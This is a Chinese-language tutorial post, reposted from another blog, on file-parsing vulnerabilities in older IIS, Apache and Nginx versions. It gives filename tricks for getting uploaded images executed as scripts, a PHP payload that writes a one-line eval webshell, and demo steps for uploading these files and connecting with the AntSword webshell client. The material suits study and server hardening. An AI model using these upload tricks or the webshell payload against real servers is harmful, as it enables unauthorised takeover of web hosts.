中间件的解析漏洞详解及演示
本文轉自行云博客https://www.xy586.top/
文章目錄
-
-
- IIS5.x-6.x解析漏洞
- Apache
- IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞
- Nginx <0.8.03 空字節代碼執行漏洞
- 演示
- IIS6.0解析漏洞
- Nginx 漏洞
- Apache解析漏洞
-
?
解析漏洞是指web服務器因對http請求處理不當導致將非可執行的腳本,文件等當做可執行的腳本,文件等執行。該漏洞一般配合服務器的文件上傳功能使用,以獲取服務器的權限。
類型:
IIS 5.x/6.0解析漏洞
IIS 7.0/IIS 7.5/
Nginx <0.8.3畸形解析漏洞
Nginx <8.03?空字節代碼執行漏洞
Apache解析漏洞
IIS5.x-6.x解析漏洞
利用方法
IIS6.0 默認的可執行文件除了asp還包含這三種
/sp.asa
/sp.cer
/sp.cdx
1.目錄解析
/xx.asp/xx.jpg
2.文件解析
sp.asp;.jpg
第一種,在網站下建立文件夾的名字為 .asp、.asa 的文件夾,其目錄內的任何擴展名的文件都被IIS當作asp文件來解析并執行。
例如創建目錄 sp.asp,那么
/sp.asp/1.jpg
將被當作asp文件來執行。假設黑客可以控制上傳文件夾路徑,就可以不管你上傳后你的圖片改不改名都能拿shell了。
第二種,在IIS6.0下,分號后面的不被解析,也就是說
sp.asp;.jpg
會被服務器看成是sp.asp
Apache
漏洞原理
Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。比如 sec.php.owf.rar “.owf”和”.rar” 這兩種后綴是apache不可識別解析,apache就會把sec.php.owf.rar解析成php.
如何判斷是不是合法的后綴就是這個漏洞的利用關鍵,測試時可以嘗試上傳一個sec.php.rara.jpg.png…(把你知道的常見后綴都寫上…)去測試是否是合法后綴
其余配置問題導致漏洞
(1)如果在 Apache 的 conf 里有這樣一行配置 AddHandler php5-script .php 這時只要文件名里包含.php 即使文件名是 test2.php.jpg 也會以 php 來執行。
(2)如果在 Apache 的 conf 里有這樣一行配置 AddType application/x-httpd-php .jpg 即使擴展名是 jpg,一樣能以 php 方式執行。
IIS 7.0/IIS 7.5/nginx 0.8.3解析漏洞
在默認Fast-CGI開啟狀況下,黑客上傳一個名字為sp.jpg,內容為
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>- 1
的文件,然后訪問sp.jpg/.php,在這個目錄下就會生成一句話木馬 shell.php
Nginx <0.8.03 空字節代碼執行漏洞
影響版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在圖片中嵌入PHP代碼然后通過訪問
xxx.jpg%00.php
來執行其中的代碼
演示
IIS6.0解析漏洞
1.上傳23.asa;jpg文件
蟻劍連接成功
2.將23.asa;jpg文件改名為23.jpg,并放到1.asp目錄下訪問,然后使用蟻劍連接
Nginx 漏洞
上傳一個圖片馬,里面含有代碼
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>');?>
該木馬會在上傳后,運用Apache的解析漏洞再次訪問時生成一個shell.php木馬
訪問該圖片,并在末尾加上/.php
生成shell.php
蟻劍去連接該shell.php
Apache解析漏洞
上傳帶一句話木馬的1.php.q.w.d文件
蟻劍連接
總結
以上是生活随笔為你收集整理的中间件的解析漏洞详解及演示的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python如何打包EXE可执行文件
- 下一篇: Mac idea 打不开